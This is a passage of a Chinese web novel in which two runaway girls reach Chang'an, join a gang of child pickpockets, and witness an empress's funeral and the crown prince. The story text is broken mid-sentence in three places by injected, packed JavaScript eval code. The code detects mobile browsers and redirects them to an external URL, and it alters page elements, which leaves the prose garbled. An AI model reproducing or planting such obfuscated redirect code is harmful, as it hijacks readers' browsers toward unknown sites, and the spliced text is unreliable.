“放心,没下毒。”男孩翻了个白眼,“见死不救非医者,何况我也不想你们脏了我的眼。” 寻梅破涕为笑,她小心的扳下一块递给卫余,自己吃着残渣,眼眶又湿润了。 “吃完了就快点赶路,到时候天黑了路不好走!”大胡子走过来催促,手里还握着半块没吃完的烧饼,不时咬一口,浓密的胡子上粘满了烧饼的碎屑,随着他说话不停的抖动,看起来滑稽极了。 大胡子浑然不觉,继续大口咀嚼,结果才刚一张嘴,一大块饼皮就“啪嗒”一声落在胡子上,晃晃悠悠的挂着,像是胡子在吃饭一样。 卫余先笑出了声,大胡子立刻去摸胡子,反应过来恼羞成怒,“你笑什么?!”见他炸了毛,寻梅也忍不住笑了出来。 大胡子抬手一擦,结果没有擦掉饼渣,反而把油抹了上去,胡子顿时像涂了蜡一样油光发亮。 他重重的叹了口气,胡子跟着抖了抖,又掉下了几颗芝麻。最终,大胡子放弃挣扎,索性把整张饼往嘴里一塞,含糊不清道:“算了,就当是粮食储备。” 卫余笑得抱着肚子大叫,寻梅更是扎进落叶堆里,发梢上沾满了枯草。 一缕阳光透过树林,斑驳的照在男孩身上,他的嘴角抽了抽,终于“噗嗤”一声笑出来。 这是他这么久以来第一次真心实意的笑。没有讥讽,没有冷漠,眉眼弯的像月牙,两颗尖尖的虎牙露了出来,像个真正的十岁男童。 暮色四合,树林渐渐沉入暗影中。 王长勇和大胡子在前面探路,他们手持斧头,遇见荆棘挡路,便一斧头砍去。 “何公子,你小心点!”王长勇叮嘱男孩,“这些刺缠人得很,要是把你刮伤了就不好了。” 寻梅和男孩走在卫余前面,二人的影子时不时交叠在一起。 “给你。”男孩不知什么时候翻出了一双崭新的草鞋,寻梅光着的脚下意识往裙摆里缩了缩。 男孩看她呆住,不自然的轻咳一声,嘴硬道:“医书上说:荆刺所伤,其创虽小,而易蕴毒,盖棘刺多携山岚瘴秽,入肌则焮肿作脓,不可轻忽。我可不想到时候还要给你治病。”寻梅心里一暖,蹲下身穿上草鞋,脸上带着一丝浅笑。 卫余落在最后,她的目光扫过沿途的断崖,若有所思着什么。 几人徒步迈过荆棘丛,来到一条湍急的溪流旁,大胡子抱来几块青石,铺在河中垫脚。“现在是涨水期,小娃娃们别被水卷走了。”他拍着卫余的肩膀,哈哈大笑起来。 卫余见此处山野茫茫,本来应该没有路径。想来是几人惯常做走私生意,才在这里踏出第一个脚印。 待过了这条河,几人看见山壁藤蔓间影有一条窄径,宽不盈寸,仅容一人侧身通过。 大胡子拨开杂草,率先钻进去,众人鱼贯而入。 初时杂草乱枝牵衣,怪石嶙峋,不过行得一里路,便是豁然开朗。 这羊肠小路竟蜿蜒直下,直通晋城后山!几人钻出最后一道灌木,城池的背影赫然在目。 此时,已过了子夜。商队的马车早就等候多时,几个车夫远远看见王长勇过来,连忙起身迎接。 “大哥,想不到你们这么快就过来了!”王大勇挥挥手,牵起一旁的马,吩咐众人准备晚餐。 众人原地休整一会,王长勇拉起男孩在旁边不知说了什么,男孩神色一变。 “就到这里了。”他看向寻梅,又恢复了冷漠的声线,“我们要往西走。” 寻梅张了张嘴,却只发出一声极小的呜咽。卫余沉默的数着包袱里所剩无几的干粮,她们要靠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533584|186444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些撑到长安。 “你还没有告诉我你的名字。”寻梅拽着男孩的衣角,鼓起勇气道。 风拂过树梢,惊起几只寒鸦。 男孩一言不发,半响才道:“萍水相逢,何必告知姓名?”。寻梅吸了吸鼻子,不再追问。 她的手上忽然一沉,男孩又给了她一个油纸包,“核桃糕最宜蠢人补脑,以后可别犯蠢了。” “我们得快点出发了,”大胡子拿来几块酥脆的烧饼,一块给了男孩,其他的都塞到了卫余手上。“往东走个三里有驻军关卡,你们去找军爷带你们回家,女孩子家家的别在外面晃悠!” 卫余垂下眼眸,她们哪里还能回家? 男孩爬进熟悉的车厢,车夫扬鞭催马,銮铃声响过,渐行渐远。 车帘突然被撩开,男孩探出半身。 “何生尘!” “什么?”寻梅不自觉的向前迈了几步,男孩的声音在耳边回响。 “我叫何生尘。” “但愿世间人无病,宁可架上药生尘的生尘!” 她追着马车跑了十几步,最终被卫余拽了回来。马车尘土飞扬,混着天边月光,终至不见。 那夜天穹高远,夜色如墨。一轮冷月悬于苍穹,照亮四野。点点星子点缀在夜幕之上,愈显寂寥。 第七个月夜。 发霉的面饼硬的像块石头,掰开时露出青绿色的纹路。 卫余小心翼翼的啃咬着没变质的部分,寻梅在一旁干呕,还是逼迫自己往下咽,这是她们最后半块干粮了。 “要是何生尘在这,他又要说医书上……”寻梅的话戛然而止,她的眼眶微红。卫余借着月光研究着地图,仿佛一切都与她毫无关系。 “接下来往北走。” 不知道过了几天,或许是她们对时光的感知已经变慢。这几天没日没夜的赶路,寻梅新的草鞋磨的只剩一半,卫余脚上更是起满了血泡。 那日黄昏,寻梅突然拽住卫余的衣角:"你听!" 风中飘来模糊的铃铛声。两人跌跌撞撞爬上山坡,远处官道上,一队插着青色牙旗的商旅正缓缓前行。 卫余却盯着更远的地方。 地平线上,一座城池的轮廓在暮色中若隐若现。 "长安......真的是长安……"寻梅的眼泪冲开脸上的泥垢,下意识的握紧卫余的手,却摸到了一手冷汗,"我们到了?" 卫余微微发抖,还没反应过来就随着寻梅向前跑去,丝毫不顾已经血肉模糊的双脚。 不远处的城郭在黄昏中泛着金光,城楼比十个卫家祠堂还要高。官道变得异常拥挤,牛队、骆驼队、商队……空气中混杂着胡饼和香料的气息。一个挑担货郎和她们擦肩而过,担子里挂着的笼子里是只五彩鹦鹉。 “长安!长安!” 鹦鹉的叫声惊醒了寻梅,“是真的!小余,这真的是长安!”她转身冲着卫余大喊,却见卫余盯着城角下的阴影。 那里蜷缩着几个衣不蔽体的孩子,年纪和卫余差不多大,他们正用木棒扒拉着商人们不要的垃圾堆。 城门洞下,两个门卒手持长戟,眯着眼打量着过往的行人。 寻梅兴高采烈的拉着卫余排队进城,却见前方门卒长戟一横,“可有过往文书?!” 排在二人前面的商人满脸堆笑,从袖中掏出一卷泛黄的长轴并几锭银子,就要塞到门卒手中,“军爷您行个方便。” 门卒冷哼一声,掂量着手中银两,指挥着官兵放行。 寻梅欢快的脚步停住。 她们身无分文,更没有文书,只有半块发霉的饼,和满身灰尘。 卫余拉着寻梅退至人群边缘,暮鼓已经响过三轮,再不进城就要宵禁了。 “现在怎么办?”一道晚风吹来,寻梅的牙齿有些发抖。 卫余注意到那几个垃圾堆边的孩子突然活跃起来,像老鼠般沿着城墙根向西窜去。 "跟着他们。"卫余压低声音,"贴着阴影走。" 寻梅死死抓住她的衣角:"可、可我爹说《宸律》上写私闯城门......" "《宸律》还说童女不能祭河神呢。"卫余冷笑。 4. 初入长安 “几个衣着破旧的孩子钻入排水渠,像老鼠归巢般熟练。 二人偷偷跟在几步之外,一股恶臭扑面而来,寻梅捂住鼻子。卫余趴在地上,用树枝测量着流水速度,“速度不快。” 排水渠洞口不大,幸好卫余身量娇小,寻梅比卫余年长三岁,身材已经大了一圈,通过排水口时险些卡在里面。 “我再大几岁就进不来了。”寻梅嫌弃的抹了抹手心的污泥。 浑浊的水流没过膝盖,两个孩子手牵手迈过几步,沟壁长满滑腻的苔藓。寻梅不知踢到了什么,她的唇色变得乌紫。“我好像……踢到了一根指头?” 寻梅强忍着要吐的欲望,继续往前走。卫余也没有好到哪去,这里到处漂浮着动物骸骨,腐烂的气味吸引了一群发着绿光的苍蝇,她全身发麻,心里怦怦作响,生怕下一秒水里出现一条水草把她们缠住。 当二人终于湿漉漉的从暗渠爬上来,长安的夜风迎面吹来。 二人刚要欢呼,眼前的景象让她们瞬间愣住。 所谓的帝都长安,此刻映入眼帘的的却是一条污水横流的窄巷。几个面黄肌瘦的妇人围坐在一起,熬着一盅冒着怪味的粥。见有人前来,她们立刻用身体挡住陶罐。 “这就是长安?”寻梅嗓音发颤。 这么久支撑她们的念想,在这一刻化为虚有,只剩下无尽的迷茫。 一声凄厉的猫叫响彻天空,巷子深处传来一阵窸窣声,十几个孩子如幽灵般从暗处冒出来。他们个个瘦的皮包骨头,只有为首的女孩脸上挂着一点肉,但也比寻梅矮了半个头,身上穿着不合身的袍子,腰间挂了两个精巧的荷包。 女孩左脸颊的胎记在月光下若隐若现,她咧开嘴巴,露出笑容。 “新来的?” 女孩拦住二人,“你们是混哪个道的?”,寻梅咽了咽口水,“我们是晋城来的,来长安讨口饭吃……” “晋城?!”女孩的声音骤然提高,刹那间,所有孩子齐刷刷的看了过来,一个火堆旁的男孩猛地站起,“开什么玩笑?谁不知道东安九郡距长安大几百公里!” 女孩一步步逼近寻梅,虽说比寻梅矮些,但她的眼神中带着不可忽视的俯视姿态。 “想留下来吗?”她戏谑的打量着两个湿透了的女孩,“至少能让你们活命。” 寻梅一喜,忙问:“你们是以什么谋生的?” 女孩的眼睛滴溜溜转了一圈,“看不出来吗?我们都是乞丐,我是这一片的帮主……” 巷子里传来三短一长的梆子声,方才的男孩立刻兴奋起来,“猴姐,可以赶夜路了!” 女孩瞪了他一眼,又笑嘻嘻的看着寻梅,“我叫侯玉,你也可以叫我猴姐,”寻梅没听明白“赶夜路”是什么意思,侯玉已经招呼着其他人动身。 “走吧,让我看看你的本事。” “什么意思?” 四周响起嗤笑声,一个门牙缺了一半的男孩道:“就是去乞讨!讨到的`贡品'上交给帮会,就算是你们通过考核了。” 寻梅难堪的低下头,死死拽着裙角,支支吾吾道:“我们……从来没有干过这个。” 侯玉挑眉,“要想在长安活命,你就得按我的规矩来。” “毕竟你总得证明,你不是废物吧?”最后几个字,她故意咬的极重。 “我知道了,”寻梅沉默了片刻,认命般的点了点头,“我干就是了。” 侯玉满意的笑了笑,这时才注意到角落里死死盯着她的卫余,她弯下腰,“你呢,小妹妹?” “也一起和你姐姐去?”她明显看不起这个和豆芽一样瘦的小娃娃,“不用担心,大不了到时候让你姐姐多上交点''贡品'',我勉强也可以留下你。” 卫余探究的眼神让她很不舒服,她刚想带着寻梅离开,卫余的声音响起,“我和你们一起去。” 几人在狭窄的巷子里穿来穿去,一束灯火刺破黑暗,那才是真正的长安夜市。 青石长街两侧,高挂串串灯笼,灯罩的火光照的人面若桃花。一盏盏琉璃灯摆在货架前,映出长安的车水马龙。 忽听“铛!”一声铜锣乍响,人群蜂拥涌进街心。只见一个赤膊大汉吞吐烈火,喉结滚动间竟喷出七尺火花!“好!好!!”喝彩声不绝于耳。 满城灯火,竟比白昼更甚三分! 卫余等人躲在巷口的阴影里,像几只偷油的老鼠,探头往外看。墙缝漏出一点暖光,恰好洒在卫余脸上。 一股混杂着羊肉汤,烤羊肉的气味扑鼻而来,寻梅的舌尖不自觉舔上牙齿,那里只有昨日半块霉饼的苦味。 “去吧。”侯玉推了两人一把。 人潮如沸,卫余的手心还残留着一点温度,那是方才寻梅紧紧拽着她时留下的。不知是谁推了她的肩,挤了她的背,再回头时时,寻梅已经消散在了人群中。 “寻梅姐!”她的喊叫声刚一出口,瞬间被四周的喧嚷吞没。 “五文钱一串的糖葫芦呦!”小贩的声音刺破了卫余的耳膜,她想起了自己的任务,只有完成了这个,她和寻梅才能在长安活下去。 似乎下定了某种决心,卫余对着一个面向和善的妇人道:“行行好……”,她的声音比猫叫还小,那个妇人却猛地拽回衣角,“晦气!小叫花子讨什么丧?!” 卫余没有放弃,又跑到一个富态的的商人面前。 “滚开,臭要饭的!”还没有等她开口,商人一脚踢开卫余,卫余赶紧缩回巷子里。 “两个都这么没用,怎么这么笨?”侯玉不知什么时候走到她身边,连声音都没有。卫余见寻梅跟在后面抹着泪,便知道她怕是也一无所获。 侯玉吹了一声口哨,立刻有两个孩子悄无声息的跑了出去,贴着一个富商身边走。一个假装摔倒挡住富商的路,另一个以迅雷不及掩耳之势,飞快拿走富商的荷包。富商骂骂咧咧的啐了倒在地上的小孩一口,甚至没有发现丢了东西。 “看明白了吗?”侯玉得意洋洋的抬起脸,“这才是我们的手段。” 卫余的掌心渗出冷汗,她早该想到,这么多孩子在长安不可能依靠乞讨为生。 “我们不做贼!”寻梅突然停止哭泣,坚定地说,“我爹说过,偷盗终有报,天理不可逃!” 侯玉面不改色,似乎早就想到了她们会这么说,“在长安,老实人活不过三天。” “别做出这个表情,”她捏起寻梅的脸,“你认得几个字?就敢来教训我。如果你爹还要你,你至于跑到长安来吗?” 寻梅的手微不可察的颤了颤,似乎被刺中了痛楚。卫余顿时火上心头,拉起寻梅就走。 侯玉在身后哈哈大笑,笑声惊跑了巷子里猫,“那你们就等着饿死吧!” 卫余和寻梅刚刚走出巷口,一阵沉重的钟鸣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533585|186444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声震得她们站立不稳。 “咚——” 第一声钟声响起时,嘈杂的街市静止一般,众人齐齐望向皇城。满街灯笼摇晃,照的人脸都泛了青。 “咚——” 第二声紧接而来,小贩们面如纸白的收拾起摊位,卖汤饼的商人丢下铜釜,滚烫的羊肉汤泼了旁边的姑娘一身。不知谁喊了一句:“官差来了!”,人群瞬间如溃堤之水般散开。 整条街都在跑。灯笼倒了,火苗蹿上布幌;钱囊破了,铜钱滚进阴沟;婴孩哭了,哭声立刻被无数尖叫碾碎。 “咚——” 第三声钟鸣到来时,街上人已散了大半。巡夜的官兵结队而来,不由分说的把还在发愣的货郎扣押起来。 不多时,整座长安城沉入黑暗。唯有皇城方向的钟声仍在回荡,一声比一声悲凉。 卫余和寻梅躲在巷口,她们刚想离开,侯玉突然叫住她们,“现在出去就是找死。” 卫余止住脚步。 “宵禁不知道为什么突然提前了。”之前的男孩愤愤道,“官兵现在见人就抓,我们今天探囊都没几个!真倒霉!” “闭嘴!”侯玉暴躁的打断他,“让官兵听见了你还想不想活?!” “那有什么办法?我还从来没见过这么大阵仗呢,”他讨好的看向侯玉,“要说见识最多的,那还要属您了。猴姐您说这是发生什么事了?” 侯玉默然许久,“是宫中贵人,不好了……”,她的声音很轻,嘴角却勾起一丝不易察觉的诡异的弧度。 巷口传来整齐铁甲的碰撞声,火把的光亮洪水般蔓延过来。羽林卫的玄甲在月光下泛着冷光,马鞍旁悬挂的浆糊桶摇晃着惨白的浑浊。 “啪!”一刷子浆糊拍在坊墙上,黄纸展开,士兵按着纸角一碾,转身就走。 第二张贴在酒肆上,第三张,第四张…… 五更时分,整个长安城都贴满了黄纸。 昨夜散开的人群渐渐聚拢。抱孩子的妇人,拿着梆子的更夫,袖口沾满墨水的书生,全都盯着那张黄纸,却没有一个人说话。 卫余挤入人群,她今天照着侯玉的话来打探黄纸上的内容。刚抬起头,满页的墨字激的她冷汗直出。 她死命的盯着那张黄纸,看似是要把它盯出洞来,实则耳朵立起,静心听着人群的议论。 恍惚间,她听见后方传来一道苍老的声音:“皇后娘娘……当真薨了?” “年前我还托娘娘的福,得了一碗腊八粥……怎么这么突然?”老人的声音哽咽起来。 “沿途设粥棚三十处……”一个货郎眨了眨眼睛,“这可难得,看来咱们陛下对娘娘用情至深啊。” 卫余竖起耳朵,粥棚三十处!!这对她和寻梅来说可是救命粮食。她快步离开人群,欲返回窄巷,却直直撞上一人。 书生的青衫被风吹起一角,他眯眼细读那朱砂御批的诏文,忽地嗤笑一声,指尖叩着粗粝的墙砖,朗声吟道: "三十粥棚济饿殍,九重恩诏出天朝。 不知泉下埋香骨,可耐人间啜粥时?" 旁有老农瑟缩着凑近,嗫嚅问:"相公,这皇上施粥……总是好事吧?" 书生袖中手攥紧又松开,最终只将折扇"唰"地展开,掩住半张讥诮的脸:"老丈可知?这黄粱粥里,"扇骨忽指向皇城方向,"掺的是娘娘棺椁上的金漆。" 5. 皇后殡仪 皇后灵柩在宫中停灵七日,待钦天监选定发引,于宫城移入皇陵。 按理说送葬前日便该以清水泼街,禁止车马行人通行。盖因皇后生前以贤名著世,深得民心,陛下特许百姓延道哀悼。 出殡那日凌晨寅时,陛下亲临祭酒。灵柩自皇宫至皇陵,沿途设路祭棚,粥棚若干。 卯时三刻,破晓的阳光透过云层洒在送葬队伍上。沿街商铺、民宅门悬白幡,贴青纸,长街两侧的槐树上缠满素绢,在风中如蝶翅般扑棱。 卫余寻梅头上裹着白布,早早伏跪在街边人群中。 虽说先皇后素来宽厚,市井上替哭之人也是常见。皇后薨逝的告示刚刚贴出不过几个时辰,已有不少富户出钱雇贫民替哭。 二人跟着侯玉找到了城南的富户,富户承诺事后给她们二十文铜钱。 丐帮一行人无一不接了这个活,卫余心里却总有些不适。“这样做真的没问题吗?”她问跪在前面的侯玉。 侯玉回头白了卫余一眼,“有什么问题?大家不都这样。”她示意卫余看向对街角落里的老人,“那个老花子我就认识,是在西市叫街的。每逢长安贵人过世,他次次都在场。” “你们一会哭大声些,别露了馅就行。”侯玉贴着卫余的耳朵嘱咐,“这么轻松就能赚钱的活计可不多了,记得到时候交七成给帮派公用。” 卫余还想再问些什么,远处隐隐传来阵阵哀乐。人群瞬间安静,各个伏跪低头,脸色肃穆悲痛。 一阵铜锣破开街道的凝滞,七十二名虎贲卫踏着丧鼓的节奏缓缓走来,铁靴砸地声震得卫余心都快跳了出来。 "跪——" 司礼太监的尖细的嗓音刺透晨雾。黑压压的人群矮下去,露出十六匹白马拉着的灵舆。 两侧人群应声而哭,此起彼伏的哭嚎把整个长安城吞没。 卫余也随之哭起来,却不见一滴眼泪,侯玉揪了她一把,“哭大声些!” 几声干嚎过后,卫余瞥见对面的老乞丐竟是以头抢地,沙哑着声音哭嚎道:“娘娘,您怎么就这么走了啊——” 鲜血自他的额头渗开,在青石板上抹开,寻梅一时惊得瞪大了眼睛,下意识拽着卫余的手。 “他这种给的钱就更多了,”侯玉不以为意的声音混杂在哭声中,“这些官老爷可不愿意如此失态,又想得一个忠义的名头,多花个几文钱就办得到。” 卫余见那老乞丐血肉模糊的额头,血迹粘着几簇枯草般杂乱的白发。一阵寒意自胃部而起。巨大的悲哀在心里蔓延,竟真的有一滴泪顺着她的脸颊滑落,卫余知道这不是为皇后娘娘流的。 一个寒颤打过,卫余的意识在哭声中浮沉。蓦然,一丝目光扫在她身上,小心的抬眼,灵舆旁站着个身着不缝边粗麻衣的男童。 他的年纪不大,小小的身形却挺拔如山。头戴白色孝冠,几缕墨发垂在脸颊旁,他面容如玉,眼眸深邃似幽潭,高挺的鼻梁下,薄唇紧抿,似乎隐藏着悲痛。 卫余意识到此人便是太子,忙低下头去不敢与他对视。 然而,那道目光却并未移开。 他发现了什么? 想到这里,卫余只觉得脊背发凉,心跳加快,周围的哭声似乎都消失了,只剩下自己急促的呼吸声。 不知过了多久,太子身旁的太监俯下身,在他耳边低语了几句。 太子微微点头,目光最后在卫余身上停留了一瞬,便随着灵舆继续前行。 卫余这才长舒一口气,只觉得后背早已被汗水湿透。侯玉在一旁小声嘀咕:“你可别惹上什么麻烦。” 皇后的灵舆渐渐远去,人群却没有立刻消散。凡是在街道上为皇后哭灵的,都可以去路设的粥棚里领一碗粥。 卫余随着大部队站起身来,膝盖因为长久的跪姿而隐隐发痛。她勉强活动了一下筋骨,跟着寻梅侯玉往粥棚走去。 粥棚前早就排起了长龙,人挤着人。衣衫褴褛的人们互相咒骂着,推搡着,只为了抢来一碗热腾腾的粥饱腹。 “啧!这可难办了。”侯玉抱拳立于一旁,“还等什么呀猴姐?再不快点挤进去就分不到了!”缺牙男孩按耐不住性子,作势要冲上去。 侯玉不耐的推开他,“就凭你这小身板,平时去探探囊还差不多。真去和他们抢食,保不准饭没吃到,倒挨了一顿打!” “那你说怎么办吧,就干等着?”缺牙男孩没好气的捂着肚子。这几日禁止夜市,自是少了行窃机会,他从昨夜起就腹中空空了。 “笨!”侯玉骂了一句,她招呼众人聚在一团,悄声道:“瞧见那个木棚了吗?” 卫余顺着她的目光看去,那木棚是官兵临时搭起用来存放余粮的。为防止平民哄抢,随时都有兵役四处巡视。 “你难不成要……”卫余颤声道,这是在官兵眼皮子底下盗粮,若是被发现,搞不好就此丢了性命也难说! 她下意识后退半步,却见侯玉冷笑道,“舍不了孩子套不着狼,”侯玉满不在乎的抹了抹手心的泥土,“再说了,大家都是小孩,又无父无母,那些吃皇粮的能拿我们怎么样?” 侯玉的话让刚刚还打了退堂鼓的丐帮重燃信心。 “行,我跟你干。” “猴姐安排部署,只要让我们吃上饭就成!” 卫余知道已不能再劝,叫上寻梅想先一步离开,侯玉却叫住二人。 “走了可就不能回来了,”她挑着眉,“再说这本就是赈济给我们的粮食,也算不上偷。” 寻梅的脚步顿住,侯玉继续追问,“你就不想快点填饱肚子?还是发霉的饼吃惯了?” “寻梅姐,我们快点走!”卫余急了,她知道寻梅素来胆小,可连日的饥饿可以击垮任何一个老实人。 寻梅果然犹豫了,她的腹中因为太久没有进食,而一阵烧痛。米粥的香味袭击着她的味蕾,“小余,我真的太饿了……” “可是……”卫余的话被侯玉打断,“有胆量!你跟着他们几个去把官兵引开,其他人和我偷偷溜进去。” 卫余咬了咬牙,她不想参与这样危险的事情,又不能丢下寻梅不管。“你既然不和我们一起,就先去找刘员外要钱吧。”侯玉见卫余一个人呆立在那里,语气明显不耐烦起来。 “我侯玉干这一行这么多年了,都没有出事,你就别担心了。” 脚上的血泡化脓破开,卫余每走一步,便像是行走在刀尖上,她强忍着痛,一步步走在去刘员外府邸的路上。 深吸一口气,卫余抬手叩响了紧闭的大门。 半晌,一个管家模样的中年男子打开门,看清她的模样后,脸色瞬间一愣。 “你们头头呢?”卫余知道他在说侯玉,这些人仿佛和侯玉交易往来甚多。如若不是侯玉亲自出面,只怕没那么容易要到钱。 “我们帮主有事耽搁了,让我来收钱。”她努力让自己的声音镇定。管家的上下打量了她一眼,鼻孔里发出一声嗤笑,“谁知道你是不是骗人的?回去叫你们头来。” 卫余早料到会这样,脸色一变,沉下声道:“我们帮主可说了,若是我一个时辰内还没有拿钱回去,就把替哭的事情报告给官府。” 她观察着管家为难的表情,又放软了语气,“我们这么多人还等着这个钱吃饭呢,您就当是发发善心,到时候帮主也会记得您的恩情的。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533586|186444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 管家犹豫了一会,还是转身进屋,不多时拿了荷包递给卫余。 “拿了钱就赶紧走,没有下次!” 卫余忙不迭的接过,细细数了一遍数目,悬着的心放下了一半。 她把荷包紧紧揣在里衣里,连忙往回赶,不知怎的,心中愈发焦躁不安。 卫余逐渐感到不对劲来了。现在早过了发饭时辰,人群非但退去,反而围挤在那个木棚面前,七嘴八舌的议论着什么。 她的心顿时凉了下来,不顾一切的要挤开人群冲进去。一双枯瘦的手抓住了她,是之前磕头的老乞丐。 “孩子,你现在还是先别过去,免得被官爷当作同伙抓起来。”老乞丐长满皱纹的脸挤作一团,额头伤口尚未愈合。 卫余心急如焚,强迫自己冷静下来。“怎么会被抓起来?出什么事了?” 老乞丐叹了口气,缓缓道:“那群孩子去偷粮,还制造了不小的乱子。若是往常那些官兵见他们都是孩子,也就只是口头教训两句。谁知道今年有大人向皇上进言,说在皇后葬礼上闹事的都是亵渎不敬之罪,不论老少都应严惩……” “那你看见一个圆脸的女孩了吗?大约比我高两个头,穿着件素色麻衣。”卫余紧紧拽着老乞丐破烂的袖口,仿佛那是她的救命稻草。 老乞丐思索片刻,“隔的太远,我也没有看清。” “不过倒是有个面生的丫头也被抓了,”他哀叹一声,“我看那些孩子也是饿坏了,要不然谁愿意去干这么冒险的事?” 卫余如被闪电劈中,已是站都站不稳,如同秋风吹落的枯叶般跌坐在地上。 老乞丐说的就是寻梅! 装着二十文钱的荷包依旧搁在她胸口,卫余却只觉得寒意从冒着血泡的脚心蔓延至全身。 寻梅就这么被抓走了,连着丐帮里那么多孩子,个个饿得面黄肌瘦,却连吃饱饭的权利都没有。 他们就这么被抓走了,像是往水里丢下一块石子,虽有涟漪,但不久后就归于平静。没有人愿意为了这些食不果腹的孩子说一句话,往后是生是死,也无人问津。 卫余扑在青石地板上,眼泪如断了线往外流。该怎么办?她在这里人生地不熟,如何救得出寻梅? 长安,这便是父亲口中“富贵迷人眼”,“女子可为官”的长安? 她忽的笑出了声。长安不应该是这样的,那个开放包容的梦境已然沦为幻影。剩下的,只有无尽的凄凉。 长安原来不是那么好。 那些光鲜亮丽的背后,也隐藏着另一个更大,更华丽、吃人不吐骨头的牢笼! 卫余终于撑不下去,把头埋在双臂间哭泣起来,瘦小的身躯止不住的颤抖。 那一刻,所有坚强,所有勇气,所有支撑她逃出祭河命运的信念,在这一刻彻底轰塌。 寻梅该怎么办?自己又还能去哪里?巨大的迷茫几乎要把卫余整个人淹没。 “别哭了,哭了也改变不了什么。”老乞丐的声音仿佛刺穿了她的耳膜,“你到底还要在长安活下去,往后乞讨也好,偷窃也罢,别在这个时候哭坏了身子。” 哭声戛然而止。 卫余的喉咙像是被一双无形的手掐住,她抬起脸,泪水还挂在脸上。 她突然觉得这一切都毫无意义,眼泪确实改变不了事实。仿佛一桶冰水从头到尾浇下,卫余的眼神重新聚焦。 她站起身,原本蜷缩的身体挺得笔直。她不再停留,转身追赶着皇后灵舆的方向,脚步决绝的可怕。 老乞丐说得对,她还想活,还要和寻梅一起活,拼尽一切都要活下去! 那为什么,不为自己拼一把? 6. 太子 酉时正刻,皇后灵柩已入地宫。 梓棺沉入椁处的刹那,随从一应而跪。礼部尚书跪在地宫门外,双手持哀诏。 “奉天承运皇帝诏曰:皇后赵氏,正位中宫,贤良恭顺,德秉柔嘉。辅佐朕躬,德行广被。奈何天不假年,猝尔崩逝,朕心欲裂。谥曰''静庄'',其德配位,永垂典章。钦此!” 他神色肃穆的读完最后一句,哀诏便连同陪葬品一起丢进了大火里。火光倒映着太子稚嫩的脸庞,他隐约感到一阵热浪拂过,像是母后最后一次的抚摸。 “封——” 司仪太监尖细的嗓音刺穿了皇陵上下。巨大阀门落下时,地宫中最后一丝天光也被阻断。 仪式结束了,皇帝却不言语。他呆立原地,眼神空洞。没有一个人敢上前提醒时辰已到,所有人默契的静默。陛下爱重皇后,已成了不争的事实。 “朕一个人待一会。”皇帝的话一出,随行者不敢阻拦,只道是帝后伉俪情深,却不见远处太子垂下的眼眸闪过一丝讥讽。 “儿臣愿和父皇一同守着母后,以全儿臣没有侍奉母后的遗憾。但请父皇节哀,以社稷江山为重。”太子恭敬行礼,语气不卑不亢。 “太子前些日子病了许久,静庄皇后病重时未能尽孝亦不可怪你。”皇帝闭上眼睛,重重吐出一口浊气,他与先皇后只有一个孩子,现如今皇后病逝,他待这个孩子更加怜惜。 太子的贴身太监春喜上前道:“太子殿下病未痊愈,却依旧挂念着静庄皇后。停灵期间更是朝夕哭奠。殿下孝心,天地可鉴啊陛下!” 话音未落,百官皆跪。 “太子殿下孝心,天地可鉴!” 皇帝点点头,扶起跪在地上的太子,眼里多了一丝慈爱。 “重晏,起来吧。”太子抬起头,眼睛湿漉漉的。“皇后薨逝,你作为太子,更应承担起责任。你能做到孝悌两全,已是不易。”皇帝正色道。 皇后过世,太子不可不悲,亦不可太悲。 “儿臣谨记父皇教导。”周重晏面上不显,只是被皇帝握住的手微微僵硬。 他倒要看看自己这薄情寡义的父皇要把这戏演到多久? “只是现在已入了秋,夜晚难免寒气入骨。”皇帝忽的话锋一转,“你母后若是泉下有知,也不希望你熬坏了自己的身体。” 周重晏一怔,他万万想不到皇帝竟会用这样的理由拒绝。 “父皇,儿臣不……”侍立在皇帝一旁的太监福全立刻上前,扶起太子。 “殿下孝心可鉴,可陛下哀毁过度,您且让陛下静静心。” 周重晏的眸子乍现一抹狠厉,还未被人察觉又恢复回往日的温润,“父皇说的是,是儿臣考虑不周,儿臣先告退了。” 待他随着乌泱泱的人群消失在黄昏下,皇帝的嘴角勾起一丝极淡的、如释重负的弧度。 日影西斜,皇陵在身后不断缩小。太子乘坐的白幔青辕马车碾过东宫御道,轮下石子发出细微的声音,仿佛一声声悲鸣。 帷幔里弥漫着萧艾的香气,太子闭目沉思,忽听前方护卫传来一阵骚动。 “何事喧哗?”周重晏眉头轻蹙,太监春喜隔着帘子道:“回殿下,说是御道上倒了个小姑娘,不知从何处冒出来的。” 小姑娘?还倒在东宫御道上? 周重晏掀开帷幔,缓步上前。羽林卫闻声立刻垂手躬身,让出一条道。 